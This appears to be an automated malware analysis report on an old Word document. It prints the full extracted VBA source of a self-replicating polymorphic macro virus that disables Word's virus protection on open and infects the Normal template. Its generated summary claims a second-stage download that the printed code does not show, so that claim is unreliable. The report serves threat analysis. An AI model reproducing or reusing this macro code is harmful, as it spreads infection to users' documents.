Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 155817674c9bd137…

MALICIOUS

Office (OLE)

27.5 KB Created: 1999-07-08 09:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 386eedcde629b9c67e742eea3a8e8f22 SHA-1: 486a0b8484c3582352332745c148d1d638ba53bf SHA-256: 155817674c9bd137f304a0371e4eacd860b80164adbae5895f868a437ad9680d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The macro appears to obfuscate its code and attempts to download and execute a second-stage payload, as indicated by the heuristic firings and the nature of the VBA code. The ClamAV detection name 'Doc.Trojan.Liar-4' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Liar-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Liar-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6539 bytes
SHA-256: 29d8df97a4ed7b55e0fa392bac0c4c68c2456ec744b0c847dd95f45af84ef3e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open() '
Dim v(175): Options.VirusProtection = (Rnd * 0): Options.SaveNormalPrompt = (Rnd * 0) '
Set a = MacroContainer.VBProject: Set ab = a.VBComponents(1) '
Set abc = ab.CodeModule: Set s = NormalTemplate: t = Chr(39) '
If MacroContainer = s Then Set s = ActiveDocument '
Set nh = s.VBProject.VBComponents(1).CodeModule: li = abc.countoflines: y = 100 + Int(Rnd * 50) '
For i = 1 To li: jc = "": d = Int(Rnd * 3): p = InStr(abc.Lines(i, 1), t) '
If p = 1 And li > y Then '
d = 1: GoTo n_ '
End If '
l = UCase(Left(abc.Lines(i, 1), (p - 1))) '
For o = 1 To Len(l): f = Mid(l, o, 1) '
If Asc(f) < 90 And Asc(f) > 65 Then f = Chr(Asc(f) + Int(Rnd * 2) * 32) '
v(i) = v(i) & f: Next o '
For j = 1 To Int(75 - (Rnd * 20)): jc = jc & Chr(255 - Int(Rnd * 100)): Next j '
v(i) = v(i) & t & jc '
If d = 2 Then v(i) = v(i) & vbCr & t & jc '
vc = vc & v(i) & vbCr '
n_: '
Next i '
If nh.countoflines < (1 + 1 + 2) Then '
nh.deletelines 1, nh.countoflines: nh.addfromstring vc: nh.deletelines nh.countoflines, 1 '
If ActiveDocument.Saved = (Rnd * 0) Then ActiveDocument.SaveAs ActiveDocument.FullName '
End If '
End Sub '
Rem PiE by jack twoflower/Lz0/Meta '

' Processing file: /opt/analyzer/scan_staging/c1a80704e9b845dfa87800d2f82be131.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3275 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' 	QuoteRem 0x001C 0x0000 ""
' Line #1:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x00AF 
' 	VarDefn v
' 	BoS 0x0000 
' 	Ld Rnd 
' 	LitDI2 0x0000 
' 	Mul 
' 	Paren 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	Ld Rnd 
' 	LitDI2 0x0000 
' 	Mul 
' 	Paren 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	QuoteRem 0x0056 0x0000 ""
' Line #2:
' 	SetStmt 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	Set a 
' 	BoS 0x0000 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld a 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set ab 
' 	QuoteRem 0x003D 0x0000 ""
' Line #3:
' 	SetStmt 
' 	Ld ab 
' 	MemLd CodeModule 
' 	Set abc 
' 	BoS 0x0000 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set s 
' 	BoS 0x0000 
' 	LitDI2 0x0027 
' 	ArgsLd Chr 0x0001 
' 	St t 
' 	QuoteRem 0x003D 0x0000 ""
' Line #4:
' 	Ld MacroContainer 
' 	Ld s 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set s 
' 	EndIf 
' 	QuoteRem 0x0032 0x0000 ""
' Line #5:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld s 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set nh 
' 	BoS 0x0000 
' 	Ld abc 
' 	MemLd countoflines 
' 	St li 
' 	BoS 0x0000 
' 	LitDI2 0x0064 
' 	Ld Rnd 
' 	LitDI2 0x0032 
' 	Mul 
' 	FnInt 
' 	Add 
' 	St y 
' 	QuoteRem 0x0060 0x0000 ""
' Line #6:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld li 
' 	For 
' 	BoS 0x0000 
' 	LitStr 0x0000 ""
' 	St jc 
' 	BoS 0x0000 
' 	Ld Rnd 
' 	LitDI2 0x0003 
' 	Mul 
' 	FnInt 
' 	St d 
' 	BoS 0x0000 
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld abc 
' 	ArgsMemLd Lines 0x0002 
' 	Ld t 
' 	FnInStr 
' 	St p 
' 	QuoteRem 0x004A 0x0000 ""
' Line #7:
' 	Ld p 
' 	LitDI2 0x0001 
' 	Eq 
' 	Ld li 
' 	Ld y 
' 	Gt 
' 	And 
' 	IfBlock 
' 	QuoteRem 0x0019 0x0000 ""
' Line #8:
' 	LitDI2 0x0001 
' 	St d 
' 	BoS 0x0000 
' 	GoTo n_ 
' 	QuoteRem 0x000F 0x0000 ""
' Line #9:
' 	EndIfBlock 
' 	QuoteRem 0x0007 0x0000 ""
' Line #10:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld abc 
' 	ArgsMemLd Lines 0x0002 
' 	Ld p 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	ArgsLd LBound 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St l 
' 	QuoteRem 0x002A 0x0000 ""
' Line #11:
' 	StartForVariable 
' 	Ld o 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld l 
' 	FnLen 
' 	For 
' 	BoS 0x0000 
' 	Ld l 
' 	Ld o 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	St False 
' 	QuoteRem 0x0026 0x0000 ""
' Line #12:
' 	Ld False 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x005A 
' 	Lt 
' 	Ld False 
' 	ArgsLd Asc
... (truncated)